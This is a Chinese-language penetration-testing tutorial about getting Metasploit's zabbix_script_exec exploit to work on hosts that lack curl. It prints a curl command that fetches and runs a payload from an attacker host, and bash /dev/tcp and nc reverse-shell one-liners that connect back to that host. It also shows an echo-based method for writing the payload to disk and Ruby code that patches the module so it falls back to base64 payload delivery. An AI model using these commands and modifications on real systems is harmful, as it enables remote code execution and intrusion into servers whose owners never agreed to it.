1. 背景
在渗透测试或漏洞利用中,Metasploit(MSF)是业界最常用的框架之一。
其许多 RCE(远程代码执行)模块在落地 payload(如 Meterpreter 或反弹 shell)时,采用了 CMD Stager 机制,通过常见的下载器(curl、wget、tftp、fetch 等)从攻击者的 HTTP 服务下载二进制文件并执行。
例如,在利用 exploit/multi/http/zabbix_script_exec 模块时,默认的自动模式(CMDSTAGER::FLAVOR=auto)可能会生成这样的命令:
curl -so /tmp/KvENJxdp http://192.168.56.10:9999/CaxnZl7dATG9W; chmod +x /tmp/KvENJxdp; /tmp/KvENJxdp; rm -f /tmp/KvENJxdp
这条命令的逻辑很简单:
- 使用 curl 从攻击者主机(192.168.56.10:9999)下载 payload 到 /tmp/KvENJxdp。
- chmod +x 赋予执行权限。
- 执行该文件,建立回连(如 reverse_tcp)。
- 删除文件,清理痕迹。
问题是:
如果目标主机缺少 curl(或其他下载器),这条命令将直接失败,利用中断。
2. 失败案例与原因分析
如图,我已在 msf 配置好了 options,也在 zabbix 中设置了脚本任务
但结果利用失败。
通过查阅官方文档 https://docs.metasploit.com/api/Msf/Exploit/CmdStager.html 后,我明白了 Metasploit 的 Command Stager(命令分段器)是一个用于在目标上分步传输并执行 payload 的抽象模块。
它会根据目标系统的可用工具,选择一种“传输方式”,这些方式被称为 Flavor。
常见的 Linux 系统 flavor:
- curl
- wget
- tftp
- fetch
- ftp_http
- echo(通过 echo 写出二进制文件)
- printf
- bourne(直接传输命令)
Windows flavor:
- psh_invokewebrequest(PowerShell)
- certutil
- bitsadmin
工作流程:
- 模块执行前,会探测目标可能的工具(某些模块会主动探测,某些直接假设存在)。
- 选择第一个可用的 flavor(auto 模式下由框架自动决定)。
- 构造对应的命令行字符串。
- 在目标上执行该命令,完成 payload 落地。
当目标既没有 curl 也没有 wget,且模块又没有降级到 echo/printf 等无下载器模式,就会直接报错或无响应。
3. 解决思路总览
要解决无 curl 环境下的利用失败问题,有几条路线可选:
方案 1:手动指定其他可用下载器
如果目标上有 wget 或 tftp,可以在 MSF 中手动设置:
set CMDSTAGER::FLAVOR wget
或:
set CMDSTAGER::FLAVOR tftp
这样 MSF 会用你指定的工具生成命令。
【如图,改为wget,利用成功】
方案 2:使用 echo / printf 无下载器写文件
MSF 内置的 echo flavor 会将 payload 切分为多行 Base64/十六进制块,然后用 echo 或 printf 写到文件中:
echo -ne '\x7f\x45\x4c\x46...' > /tmp/payload
chmod +x /tmp/payload
/tmp/payload
只要目标有最基本的 shell 内置命令即可。
设置方法:
set CMDSTAGER::FLAVOR echo
方案 3:完全跳过文件落地,直接反弹 Shell
如果目标机支持 bash 或 nc,可以直接运行一行反弹命令:
bash -i >& /dev/tcp/192.168.56.10/4444 0>&1
或:
mkfifo /tmp/f; nc 192.168.56.10 4444 < /tmp/f | /bin/sh > /tmp/f 2>&1; rm /tmp/f
在 MSF 中可以用:
set PAYLOAD cmd/unix/reverse_bash
或直接用 cmd/unix/generic 手工写反弹命令。
方案 4:修改模块源码,自定义 CMD Stager
本文提到的 zabbix_script_exec,源码在:
modules/exploits/multi/http/zabbix_script_exec.rb
你可以把 execute_cmdstager 部分改成自动 fallback 到 echo/base64 写文件方式,这样在缺少下载器时也能执行。
示例修改:
def execute_cmdstager(opts = {})
begin
super
rescue
print_status("Falling back to echo-based payload delivery")
execute_command("echo '#{Rex::Text.encode_base64(payload.encoded)}' | base64 -d > /tmp/p; chmod +x /tmp/p; /tmp/p")
end
end
4. 各方案的优劣对比
| 方案 | 优点 | 缺点 | 适用场景 |
| 手动指定下载器 | 修改少,执行快 | 仍依赖外部下载器 | 目标有其他下载工具 |
| echo / printf 写文件 | 不依赖下载器 | 对大文件执行慢,可能超时 | 目标只有最基本 shell |
| 直接反弹 Shell | 无文件落地,速度快 | 不适合长期驻留 | 临时命令执行 |
| 修改模块源码 | 一次改好,后续复用 | 需要懂 Ruby,维护成本 | 同类环境经常遇到 |
需要注意的是,本文演示的 exploit/multi/http/zabbix_script_exec 这个模块本身并没有实现 echo 这种无下载器的 CMD Stager flavor。
所以即使 Metasploit 框架本身支持 echo/printf,这个模块也没法直接用,因为它的 Targets 和 execute_cmdstager 里只注册了有限几种 flavor(auto, tftp, wget, curl, fetch, lwprequest, psh_invokewebrequest, ftp_http)。
关键点:
- CMDSTAGER::FLAVOR 的可选值不是全局通用的,而是模块里显式声明的。
- zabbix_script_exec 是基于 Linux Dropper 目标实现的,默认只假设目标有下载器。
- 这种模块一旦遇到无 curl / wget 环境,就只能失败,除非改源码。
总结与建议
无 curl 环境并不是利用的终点,关键是理解 CMD Stager 的原理,并灵活切换传输方式。
- 快速解决:尝试 set CMDSTAGER::FLAVOR wget
- 轻量化攻击:用 cmd/unix/reverse_bash 直接反弹 shell
- 长期优化:改模块源码,自动 fallback 到无下载器模式
- 极端环境:研究无磁盘落地、内存注入等高阶技巧